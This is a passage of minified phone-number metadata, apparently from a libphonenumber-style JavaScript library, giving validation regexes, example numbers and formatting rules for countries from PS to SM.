,,,"22234567",,,[8],[7]],[,,"5[69]\\d{7}",,,,"599123456",,,[9]],[,,"1800\\d{6}",,,,"1800123456",,,[10]],[,,,,,,,,,[-1]],[,,"1700\\d{6}",,,,"1700123456",,,[10]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"PS",970,"00","0",,,"0",,,,[[,"(\\d)(\\d{3})(\\d{4})","$1 $2 $3",["[2489]"],"0$1"],[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["5"],"0$1"],[,"(\\d{4})(\\d{3})(\\d{3})","$1 $2 $3",["1"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],PT:[,[,,"1693\\d{5}|(?:[26-9]\\d|30)\\d{7}",,,,,,,[9]],
[,,"2(?:[12]\\d|3[1-689]|4[1-59]|[57][1-9]|6[1-35689]|8[1-69]|9[1256])\\d{6}",,,,"212345678"],[,,"6(?:[06]92(?:30|9\\d)|[35]92(?:[049]\\d|3[034]))\\d{3}|(?:(?:16|6[0356])93|9(?:[1-36]\\d\\d|480))\\d{5}",,,,"912345678"],[,,"80[02]\\d{6}",,,,"800123456"],[,,"(?:6(?:0[178]|4[68])\\d|76(?:0[1-57]|1[2-47]|2[237]))\\d{5}",,,,"760123456"],[,,"80(?:8\\d|9[1579])\\d{5}",,,,"808123456"],[,,"884[0-4689]\\d{5}",,,,"884123456"],[,,"30\\d{7}",,,,"301234567"],"PT",351,"00",,,,,,,,[[,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",
["2[12]"]],[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["16|[236-9]"]]],,[,,"6(?:222\\d|8988)\\d{4}",,,,"622212345"],,,[,,,,,,,,,[-1]],[,,"70(?:38[01]|596|(?:7\\d|8[17])\\d)\\d{4}",,,,"707123456"],,,[,,"600\\d{6}|6[06]92(?:0\\d|3[349]|49)\\d{3}",,,,"600110000"]],PW:[,[,,"(?:[24-8]\\d\\d|345|900)\\d{4}",,,,,,,[7]],[,,"(?:2(?:55|77)|345|488|5(?:35|44|87)|6(?:22|54|79)|7(?:33|47)|8(?:24|55|76)|900)\\d{4}",,,,"2771234"],[,,"(?:(?:46|83)[0-5]|6[2-4689]0)\\d{4}|(?:45|77|88)\\d{5}",,,,"6201234"],[,,,,,,,,,[-1]],
[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"PW",680,"01[12]",,,,,,,,[[,"(\\d{3})(\\d{4})","$1 $2",["[2-9]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],PY:[,[,,"59\\d{4,6}|9\\d{5,10}|(?:[2-46-8]\\d|5[0-8])\\d{4,7}",,,,,,,[6,7,8,9,10,11],[5]],[,,"(?:[26]1|3[289]|4[1246-8]|7[1-3]|8[1-36])\\d{5,7}|(?:2(?:2[4-68]|[4-68]\\d|7[15]|9[1-5])|3(?:18|3[167]|4[2357]|51|[67]\\d)|4(?:3[12]|5[13]|9[1-47])|5(?:[1-4]\\d|5[02-4])|6(?:3[1-3]|44|7[1-8])|7(?:4[0-4]|5\\d|6[1-578]|75|8[0-8])|858)\\d{5,6}",
,,,"212345678",,,[7,8,9],[5,6]],[,,"9(?:51|6[129]|7[1-6]|8[1-7]|9[1-5])\\d{6}",,,,"961456789",,,[9]],[,,"9800\\d{5,7}",,,,"98000123456",,,[9,10,11]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"8700[0-4]\\d{4}",,,,"870012345",,,[9]],"PY",595,"00","0",,,"0",,,,[[,"(\\d{3})(\\d{3,6})","$1 $2",["[2-9]0"],"0$1"],[,"(\\d{2})(\\d{5})","$1 $2",["[26]1|3[289]|4[1246-8]|7[1-3]|8[1-36]"],"(0$1)"],[,"(\\d{3})(\\d{4,5})","$1 $2",["2[279]|3[13-5]|4[359]|5|6(?:[34]|7[1-46-8])|7[46-8]|85"],"(0$1)"],[,"(\\d{2})(\\d{3})(\\d{3,4})",
"$1 $2 $3",["2[14-68]|3[26-9]|4[1246-8]|6(?:1|75)|7[1-35]|8[1-36]"],"(0$1)"],[,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["87"]],[,"(\\d{3})(\\d{6})","$1 $2",["9(?:[5-79]|8[1-7])"],"0$1"],[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["[2-8]"],"0$1"],[,"(\\d{4})(\\d{3})(\\d{4})","$1 $2 $3",["9"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,"[2-9]0\\d{4,7}",,,,"201234567",,,[6,7,8,9]],,,[,,,,,,,,,[-1]]],QA:[,[,,"800\\d{4}|(?:2|800)\\d{6}|(?:0080|[3-7])\\d{7}",,,,,,,[7,8,9,11]],[,,"4(?:1111|2022)\\d{3}|4(?:[04]\\d\\d|14[0-6]|999)\\d{4}",
,,,"44123456",,,[8]],[,,"[35-7]\\d{7}",,,,"33123456",,,[8]],[,,"800\\d{4}|(?:0080[01]|800)\\d{6}",,,,"8001234",,,[7,9,11]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"QA",974,"00",,,,,,,,[[,"(\\d{3})(\\d{4})","$1 $2",["2[16]|8"]],[,"(\\d{4})(\\d{4})","$1 $2",["[3-7]"]]],,[,,"2[16]\\d{5}",,,,"2123456",,,[7]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],RE:[,[,,"(?:26|[689]\\d)\\d{7}",,,,,,,[9]],[,,"26(?:2\\d\\d|3(?:0\\d|1[0-6]))\\d{4}",,,,"262161234"],[,,"69(?:2\\d\\d|3(?:[06][0-6]|1[013]|2[0-2]|3[0-39]|4\\d|5[0-5]|7[0-37]|8[0-8]|9[0-479]))\\d{4}",
,,,"692123456"],[,,"80\\d{7}",,,,"801234567"],[,,"89[1-37-9]\\d{6}",,,,"891123456"],[,,"8(?:1[019]|2[0156]|84|90)\\d{6}",,,,"810123456"],[,,,,,,,,,[-1]],[,,"9(?:399[0-3]|479[0-5]|76(?:2[278]|3[0-37]))\\d{4}",,,,"939901234"],"RE",262,"00","0",,,"0",,,,[[,"(\\d{3})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[2689]"],"0$1"]],,[,,,,,,,,,[-1]],1,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],RO:[,[,,"(?:[236-8]\\d|90)\\d{7}|[23]\\d{5}",,,,,,,[6,9]],[,,"[23][13-6]\\d{7}|(?:2(?:19\\d|[3-6]\\d9)|31\\d\\d)\\d\\d",
,,,"211234567"],[,,"(?:630|702)0\\d{5}|(?:6(?:00|2\\d)|7(?:0[013-9]|1[0-3]|[2-7]\\d|8[03-8]|9[0-39]))\\d{6}",,,,"712034567",,,[9]],[,,"800\\d{6}",,,,"800123456",,,[9]],[,,"90[0136]\\d{6}",,,,"900123456",,,[9]],[,,"801\\d{6}",,,,"801123456",,,[9]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"RO",40,"00","0"," int ",,"0",,,,[[,"(\\d{3})(\\d{3})","$1 $2",["2[3-6]","2[3-6]\\d9"],"0$1"],[,"(\\d{2})(\\d{4})","$1 $2",["219|31"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["[23]1"],"0$1"],[,"(\\d{3})(\\d{3})(\\d{3})",
"$1 $2 $3",["[236-9]"],"0$1"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,"(?:37\\d|80[578])\\d{6}",,,,"372123456",,,[9]],,,[,,,,,,,,,[-1]]],RS:[,[,,"38[02-9]\\d{6,9}|6\\d{7,9}|90\\d{4,8}|38\\d{5,6}|(?:7\\d\\d|800)\\d{3,9}|(?:[12]\\d|3[0-79])\\d{5,10}",,,,,,,[6,7,8,9,10,11,12],[4,5]],[,,"(?:11[1-9]\\d|(?:2[389]|39)(?:0[2-9]|[2-9]\\d))\\d{3,8}|(?:1[02-9]|2[0-24-7]|3[0-8])[2-9]\\d{4,9}",,,,"10234567",,,[7,8,9,10,11,12],[4,5,6]],[,,"6(?:[0-689]|7\\d)\\d{6,7}",,,,"601234567",,,[8,9,10]],[,,"800\\d{3,9}",,
,,"80012345"],[,,"(?:78\\d|90[0169])\\d{3,7}",,,,"90012345",,,[6,7,8,9,10]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"RS",381,"00","0",,,"0",,,,[[,"(\\d{3})(\\d{3,9})","$1 $2",["(?:2[389]|39)0|[7-9]"],"0$1"],[,"(\\d{2})(\\d{5,10})","$1 $2",["[1-36]"],"0$1"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,"7[06]\\d{4,10}",,,,"700123456"],,,[,,,,,,,,,[-1]]],RU:[,[,,"8\\d{13}|[347-9]\\d{9}",,,,,,,[10,14],[7]],[,,"(?:3(?:0[12]|4[1-35-79]|5[1-3]|65|8[1-58]|9[0145])|4(?:01|1[1356]|2[13467]|7[1-5]|8[1-7]|9[1-689])|8(?:1[1-8]|2[01]|3[13-6]|4[0-8]|5[15]|6[1-35-79]|7[1-37-9]))\\d{7}",
,,,"3011234567",,,[10],[7]],[,,"9\\d{9}",,,,"9123456789",,,[10]],[,,"8(?:0[04]|108\\d{3})\\d{7}",,,,"8001234567"],[,,"80[39]\\d{7}",,,,"8091234567",,,[10]],[,,,,,,,,,[-1]],[,,"808\\d{7}",,,,"8081234567",,,[10]],[,,,,,,,,,[-1]],"RU",7,"810","8",,,"8",,"8~10",,[[,"(\\d{3})(\\d{2})(\\d{2})","$1-$2-$3",["[0-79]"]],[,"(\\d{4})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["7(?:1[0-8]|2[1-9])","7(?:1(?:[0-356]2|4[29]|7|8[27])|2(?:1[23]|[2-9]2))","7(?:1(?:[0-356]2|4[29]|7|8[27])|2(?:13[03-69]|62[013-9]))|72[1-57-9]2"],
"8 ($1)",,1],[,"(\\d{5})(\\d)(\\d{2})(\\d{2})","$1 $2 $3 $4",["7(?:1[0-68]|2[1-9])","7(?:1(?:[06][3-6]|[18]|2[35]|[3-5][3-5])|2(?:[13][3-5]|[24-689]|7[457]))","7(?:1(?:0(?:[356]|4[023])|[18]|2(?:3[013-9]|5)|3[45]|43[013-79]|5(?:3[1-8]|4[1-7]|5)|6(?:3[0-35-9]|[4-6]))|2(?:1(?:3[178]|[45])|[24-689]|3[35]|7[457]))|7(?:14|23)4[0-8]|71(?:33|45)[1-79]"],"8 ($1)",,1],[,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["7"],"8 ($1)",,1],[,"(\\d{3})(\\d{3})(\\d{2})(\\d{2})","$1 $2-$3-$4",["[349]|8(?:[02-7]|1[1-8])"],
"8 ($1)",,1],[,"(\\d{4})(\\d{4})(\\d{3})(\\d{3})","$1 $2 $3 $4",["8"],"8 ($1)"]],[[,"(\\d{4})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["7(?:1[0-8]|2[1-9])","7(?:1(?:[0-356]2|4[29]|7|8[27])|2(?:1[23]|[2-9]2))","7(?:1(?:[0-356]2|4[29]|7|8[27])|2(?:13[03-69]|62[013-9]))|72[1-57-9]2"],"8 ($1)",,1],[,"(\\d{5})(\\d)(\\d{2})(\\d{2})","$1 $2 $3 $4",["7(?:1[0-68]|2[1-9])","7(?:1(?:[06][3-6]|[18]|2[35]|[3-5][3-5])|2(?:[13][3-5]|[24-689]|7[457]))","7(?:1(?:0(?:[356]|4[023])|[18]|2(?:3[013-9]|5)|3[45]|43[013-79]|5(?:3[1-8]|4[1-7]|5)|6(?:3[0-35-9]|[4-6]))|2(?:1(?:3[178]|[45])|[24-689]|3[35]|7[457]))|7(?:14|23)4[0-8]|71(?:33|45)[1-79]"],
"8 ($1)",,1],[,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["7"],"8 ($1)",,1],[,"(\\d{3})(\\d{3})(\\d{2})(\\d{2})","$1 $2-$3-$4",["[349]|8(?:[02-7]|1[1-8])"],"8 ($1)",,1],[,"(\\d{4})(\\d{4})(\\d{3})(\\d{3})","$1 $2 $3 $4",["8"],"8 ($1)"]],[,,,,,,,,,[-1]],1,"3[04-689]|[489]",[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],RW:[,[,,"(?:06|[27]\\d\\d|[89]00)\\d{6}",,,,,,,[8,9]],[,,"(?:06|2[23568]\\d)\\d{6}",,,,"250123456"],[,,"7[237-9]\\d{7}",,,,"720123456",,,[9]],[,,"800\\d{6}",,,,"800123456",,,[9]],[,
,"900\\d{6}",,,,"900123456",,,[9]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"RW",250,"00","0",,,"0",,,,[[,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["0"]],[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["2"]],[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["[7-9]"],"0$1"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],SA:[,[,,"92\\d{7}|(?:[15]|8\\d)\\d{8}",,,,,,,[9,10],[7]],[,,"1(?:1\\d|2[24-8]|3[35-8]|4[3-68]|6[2-5]|7[235-7])\\d{6}",,,,"112345678",,,[9],[7]],[,,"579[01]\\d{5}|5(?:[013-689]\\d|7[0-8])\\d{6}",
,,,"512345678",,,[9]],[,,"800\\d{7}",,,,"8001234567",,,[10]],[,,"925\\d{6}",,,,"925012345",,,[9]],[,,"920\\d{6}",,,,"920012345",,,[9]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"SA",966,"00","0",,,"0",,,,[[,"(\\d{4})(\\d{5})","$1 $2",["9"]],[,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["1"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["5"],"0$1"],[,"(\\d{3})(\\d{3})(\\d{3,4})","$1 $2 $3",["81"],"0$1"],[,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["8"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,"811\\d{7}",,,,"8110123456",
,,[10]],,,[,,,,,,,,,[-1]]],SB:[,[,,"[6-9]\\d{6}|[1-6]\\d{4}",,,,,,,[5,7]],[,,"(?:1[4-79]|[23]\\d|4[0-2]|5[03]|6[0-37])\\d{3}",,,,"40123",,,[5]],[,,"48\\d{3}|(?:(?:6[89]|7[1-9]|8[4-9])\\d|9(?:1[2-9]|2[013-9]|3[0-2]|[46]\\d|5[0-46-9]|7[0-689]|8[0-79]|9[0-8]))\\d{4}",,,,"7421234"],[,,"1[38]\\d{3}",,,,"18123",,,[5]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"5[12]\\d{3}",,,,"51123",,,[5]],"SB",677,"0[01]",,,,,,,,[[,"(\\d{2})(\\d{5})","$1 $2",["6[89]|7|8[4-9]|9(?:[1-8]|9[0-8])"]]],,[,,,,,,,,,
[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],SC:[,[,,"(?:[2489]\\d|64)\\d{5}",,,,,,,[7]],[,,"4[2-46]\\d{5}",,,,"4217123"],[,,"2[125-8]\\d{5}",,,,"2510123"],[,,"800[08]\\d{3}",,,,"8000000"],[,,"85\\d{5}",,,,"8512345"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"971\\d{4}|(?:64|95)\\d{5}",,,,"6412345"],"SC",248,"010|0[0-2]",,,,,,"00",,[[,"(\\d)(\\d{3})(\\d{3})","$1 $2 $3",["[246]|9[57]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],SD:[,[,,"[19]\\d{8}",,,,,,,[9]],[,
,"1(?:5\\d|8[35-7])\\d{6}",,,,"153123456"],[,,"(?:1[0-2]|9[0-3569])\\d{7}",,,,"911231234"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"SD",249,"00","0",,,"0",,,,[[,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["[19]"],"0$1"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],SE:[,[,,"(?:[26]\\d\\d|9)\\d{9}|[1-9]\\d{8}|[1-689]\\d{7}|[1-4689]\\d{6}|2\\d{5}",,,,,,,[6,7,8,9,10,12]],[,,"(?:(?:[12][136]|3[356]|4[0246]|6[03]|8\\d)\\d|90[1-9])\\d{4,6}|(?:1(?:2[0-35]|4[0-4]|5[0-25-9]|7[13-6]|[89]\\d)|2(?:2[0-7]|4[0136-8]|5[0138]|7[018]|8[01]|9[0-57])|3(?:0[0-4]|1\\d|2[0-25]|4[056]|7[0-2]|8[0-3]|9[023])|4(?:1[013-8]|3[0135]|5[14-79]|7[0-246-9]|8[0156]|9[0-689])|5(?:0[0-6]|[15][0-5]|2[0-68]|3[0-4]|4\\d|6[03-5]|7[013]|8[0-79]|9[01])|6(?:1[1-3]|2[0-4]|4[02-57]|5[0-37]|6[0-3]|7[0-2]|8[0247]|9[0-356])|9(?:1[0-68]|2\\d|3[02-5]|4[0-3]|5[0-4]|[68][01]|7[0135-8]))\\d{5,6}",
,,,"8123456",,,[7,8,9]],[,,"7[02369]\\d{7}",,,,"701234567",,,[9]],[,,"20\\d{4,7}",,,,"20123456",,,[6,7,8,9]],[,,"649\\d{6}|99[1-59]\\d{4}(?:\\d{3})?|9(?:00|39|44)[1-8]\\d{3,6}",,,,"9001234567",,,[7,8,9,10]],[,,"77[0-7]\\d{6}",,,,"771234567",,,[9]],[,,"75[1-8]\\d{6}",,,,"751234567",,,[9]],[,,,,,,,,,[-1]],"SE",46,"00","0",,,"0",,,,[[,"(\\d{2})(\\d{2,3})(\\d{2})","$1-$2 $3",["20"],"0$1"],[,"(\\d{3})(\\d{4})","$1-$2",["9(?:00|39|44|9)"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{2})","$1-$2 $3",["[12][136]|3[356]|4[0246]|6[03]|90[1-9]"],
"0$1"],[,"(\\d)(\\d{2,3})(\\d{2})(\\d{2})","$1-$2 $3 $4",["8"],"0$1"],[,"(\\d{3})(\\d{2,3})(\\d{2})","$1-$2 $3",["1[2457]|2(?:[247-9]|5[0138])|3[0247-9]|4[1357-9]|5[0-35-9]|6(?:[125689]|4[02-57]|7[0-2])|9(?:[125-8]|3[02-5]|4[0-3])"],"0$1"],[,"(\\d{3})(\\d{2,3})(\\d{3})","$1-$2 $3",["9(?:00|39|44)"],"0$1"],[,"(\\d{2})(\\d{2,3})(\\d{2})(\\d{2})","$1-$2 $3 $4",["1[13689]|2[0136]|3[1356]|4[0246]|54|6[03]|90[1-9]"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{2})(\\d{2})","$1-$2 $3 $4",["10|7"],"0$1"],[,"(\\d)(\\d{3})(\\d{3})(\\d{2})",
"$1-$2 $3 $4",["8"],"0$1"],[,"(\\d{3})(\\d{2})(\\d{2})(\\d{2})","$1-$2 $3 $4",["[13-5]|2(?:[247-9]|5[0138])|6(?:[124-689]|7[0-2])|9(?:[125-8]|3[02-5]|4[0-3])"],"0$1"],[,"(\\d{3})(\\d{2})(\\d{2})(\\d{3})","$1-$2 $3 $4",["9"],"0$1"],[,"(\\d{3})(\\d{2})(\\d{3})(\\d{2})(\\d{2})","$1-$2 $3 $4 $5",["[26]"],"0$1"]],[[,"(\\d{2})(\\d{2,3})(\\d{2})","$1 $2 $3",["20"]],[,"(\\d{3})(\\d{4})","$1 $2",["9(?:00|39|44|9)"]],[,"(\\d{2})(\\d{3})(\\d{2})","$1 $2 $3",["[12][136]|3[356]|4[0246]|6[03]|90[1-9]"]],[,"(\\d)(\\d{2,3})(\\d{2})(\\d{2})",
"$1 $2 $3 $4",["8"]],[,"(\\d{3})(\\d{2,3})(\\d{2})","$1 $2 $3",["1[2457]|2(?:[247-9]|5[0138])|3[0247-9]|4[1357-9]|5[0-35-9]|6(?:[125689]|4[02-57]|7[0-2])|9(?:[125-8]|3[02-5]|4[0-3])"]],[,"(\\d{3})(\\d{2,3})(\\d{3})","$1 $2 $3",["9(?:00|39|44)"]],[,"(\\d{2})(\\d{2,3})(\\d{2})(\\d{2})","$1 $2 $3 $4",["1[13689]|2[0136]|3[1356]|4[0246]|54|6[03]|90[1-9]"]],[,"(\\d{2})(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3 $4",["10|7"]],[,"(\\d)(\\d{3})(\\d{3})(\\d{2})","$1 $2 $3 $4",["8"]],[,"(\\d{3})(\\d{2})(\\d{2})(\\d{2})",
"$1 $2 $3 $4",["[13-5]|2(?:[247-9]|5[0138])|6(?:[124-689]|7[0-2])|9(?:[125-8]|3[02-5]|4[0-3])"]],[,"(\\d{3})(\\d{2})(\\d{2})(\\d{3})","$1 $2 $3 $4",["9"]],[,"(\\d{3})(\\d{2})(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3 $4 $5",["[26]"]]],[,,"74[02-9]\\d{6}",,,,"740123456",,,[9]],,,[,,,,,,,,,[-1]],[,,"10[1-8]\\d{6}",,,,"102345678",,,[9]],,,[,,"(?:25[245]|67[3-68])\\d{9}",,,,"254123456789",,,[12]]],SG:[,[,,"(?:(?:1\\d|8)\\d\\d|7000)\\d{7}|[3689]\\d{7}",,,,,,,[8,10,11]],[,,"662[0-24-9]\\d{4}|6(?:[0-578]\\d|6[013-57-9]|9[0-35-9])\\d{5}",
,,,"61234567",,,[8]],[,,"8(?:09[0-689]|95[0-2])\\d{4}|(?:8(?:0[1-8]|[1-8]\\d|9[0-4])|9[0-8]\\d)\\d{5}",,,,"81234567",,,[8]],[,,"(?:18|8)00\\d{7}",,,,"18001234567",,,[10,11]],[,,"1900\\d{7}",,,,"19001234567",,,[11]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"(?:3[12]\\d|666)\\d{5}",,,,"31234567",,,[8]],"SG",65,"0[0-3]\\d",,,,,,,,[[,"(\\d{4,5})","$1",["1[013-9]|77","1(?:[013-8]|9(?:0[1-9]|[1-9]))|77"]],[,"(\\d{4})(\\d{4})","$1 $2",["[369]|8(?:0[1-9]|[1-9])"]],[,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["8"]],
[,"(\\d{4})(\\d{4})(\\d{3})","$1 $2 $3",["7"]],[,"(\\d{4})(\\d{3})(\\d{4})","$1 $2 $3",["1"]]],[[,"(\\d{4})(\\d{4})","$1 $2",["[369]|8(?:0[1-9]|[1-9])"]],[,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["8"]],[,"(\\d{4})(\\d{4})(\\d{3})","$1 $2 $3",["7"]],[,"(\\d{4})(\\d{3})(\\d{4})","$1 $2 $3",["1"]]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,"7000\\d{7}",,,,"70001234567",,,[11]],,,[,,,,,,,,,[-1]]],SH:[,[,,"(?:[256]\\d|8)\\d{3}",,,,,,,[4,5]],[,,"2(?:[0-57-9]\\d|6[4-9])\\d\\d",,,,"22158"],[,,"[56]\\d{4}",,,,"51234",
,,[5]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"262\\d\\d",,,,"26212",,,[5]],"SH",290,"00",,,,,,,,,,[,,,,,,,,,[-1]],1,"[256]",[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],SI:[,[,,"[1-7]\\d{7}|8\\d{4,7}|90\\d{4,6}",,,,,,,[5,6,7,8]],[,,"(?:[1-357][2-8]|4[24-8])\\d{6}",,,,"12345678",,,[8],[7]],[,,"65(?:[178]\\d|5[56]|6[01])\\d{4}|(?:[37][01]|4[0139]|51|6[489])\\d{6}",,,,"31234567",,,[8]],[,,"80\\d{4,6}",,,,"80123456",,,[6,7,8]],[,,"89[1-3]\\d{2,5}|90\\d{4,6}",,,,"90123456"],
[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"(?:59\\d\\d|8(?:1(?:[67]\\d|8[0-589])|2(?:0\\d|2[0-37-9]|8[0-2489])|3[389]\\d))\\d{4}",,,,"59012345",,,[8]],"SI",386,"00|10(?:22|66|88|99)","0",,,"0",,"00",,[[,"(\\d{2})(\\d{3,6})","$1 $2",["8[09]|9"],"0$1"],[,"(\\d{3})(\\d{5})","$1 $2",["59|8"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{3})","$1 $2 $3",["[37][01]|4[0139]|51|6"],"0$1"],[,"(\\d)(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[1-57]"],"(0$1)"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],
SJ:[,[,,"0\\d{4}|(?:[489]\\d|79)\\d{6}",,,,,,,[5,8]],[,,"79\\d{6}",,,,"79123456",,,[8]],[,,"(?:4[015-8]|9\\d)\\d{6}",,,,"41234567",,,[8]],[,,"80[01]\\d{5}",,,,"80012345",,,[8]],[,,"82[09]\\d{5}",,,,"82012345",,,[8]],[,,"810(?:0[0-6]|[2-8]\\d)\\d{3}",,,,"81021234",,,[8]],[,,"880\\d{5}",,,,"88012345",,,[8]],[,,"85[0-5]\\d{5}",,,,"85012345",,,[8]],"SJ",47,"00",,,,,,,,,,[,,,,,,,,,[-1]],,"79",[,,,,,,,,,[-1]],[,,"(?:0[2-9]|81(?:0(?:0[7-9]|1\\d)|5\\d\\d))\\d{3}",,,,"02000"],,,[,,"81[23]\\d{5}",,,,"81212345",
,,[8]]],SK:[,[,,"[2-689]\\d{8}|[2-59]\\d{6}|[2-5]\\d{5}",,,,,,,[6,7,9]],[,,"(?:2(?:16|[2-9]\\d{3})|(?:(?:[3-5][1-8]\\d|819)\\d|601[1-5])\\d)\\d{4}|(?:2|[3-5][1-8])1[67]\\d{3}|[3-5][1-8]16\\d\\d",,,,"221234567"],[,,"909[1-9]\\d{5}|9(?:0[1-8]|1[0-24-9]|4[03-57-9]|5\\d)\\d{6}",,,,"912123456",,,[9]],[,,"800\\d{6}",,,,"800123456",,,[9]],[,,"9(?:00|[78]\\d)\\d{6}",,,,"900123456",,,[9]],[,,"8[5-9]\\d{7}",,,,"850123456",,,[9]],[,,,,,,,,,[-1]],[,,"6(?:02|5[0-4]|9[0-6])\\d{6}",,,,"690123456",,,[9]],"SK",421,
"00","0",,,"0",,,,[[,"(\\d)(\\d{2})(\\d{3,4})","$1 $2 $3",["21"],"0$1"],[,"(\\d{2})(\\d{2})(\\d{2,3})","$1 $2 $3",["[3-5][1-8]1","[3-5][1-8]1[67]"],"0$1"],[,"(\\d{4})(\\d{3})","$1 $2",["909","9090"],"0$1"],[,"(\\d)(\\d{3})(\\d{3})(\\d{2})","$1/$2 $3 $4",["2"],"0$1"],[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["[689]"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{2})(\\d{2})","$1/$2 $3 $4",["[3-5]"],"0$1"]],[[,"(\\d)(\\d{2})(\\d{3,4})","$1 $2 $3",["21"],"0$1"],[,"(\\d{2})(\\d{2})(\\d{2,3})","$1 $2 $3",["[3-5][1-8]1",
"[3-5][1-8]1[67]"],"0$1"],[,"(\\d)(\\d{3})(\\d{3})(\\d{2})","$1/$2 $3 $4",["2"],"0$1"],[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["[689]"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{2})(\\d{2})","$1/$2 $3 $4",["[3-5]"],"0$1"]],[,,"9090\\d{3}",,,,"9090123",,,[7]],,,[,,"9090\\d{3}|(?:602|8(?:00|[5-9]\\d)|9(?:00|[78]\\d))\\d{6}",,,,,,,[7,9]],[,,"96\\d{7}",,,,"961234567",,,[9]],,,[,,,,,,,,,[-1]]],SL:[,[,,"(?:[237-9]\\d|66)\\d{6}",,,,,,,[8],[6]],[,,"22[2-4][2-9]\\d{4}",,,,"22221234",,,,[6]],[,,"(?:25|3[0-5]|66|7[2-9]|8[08]|9[09])\\d{6}",
,,,"25123456"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"SL",232,"00","0",,,"0",,,,[[,"(\\d{2})(\\d{6})","$1 $2",["[236-9]"],"(0$1)"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],SM:[,[,,"(?:0549|[5-7]\\d)\\d{6}",,,,,,,[8,10],[6]],[,,"0549(?:8[0157-9]|9\\d)\\d{4}",,,,"0549886377",,,[10],[6]],[,,"6[16]\\d{6}",,,,"66661212",,,[8]],[,,,,,,,,,[-1]],[,,"7[178]\\d{6}",,,,"71123456",,,[8]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"5[158]\\d{6}",
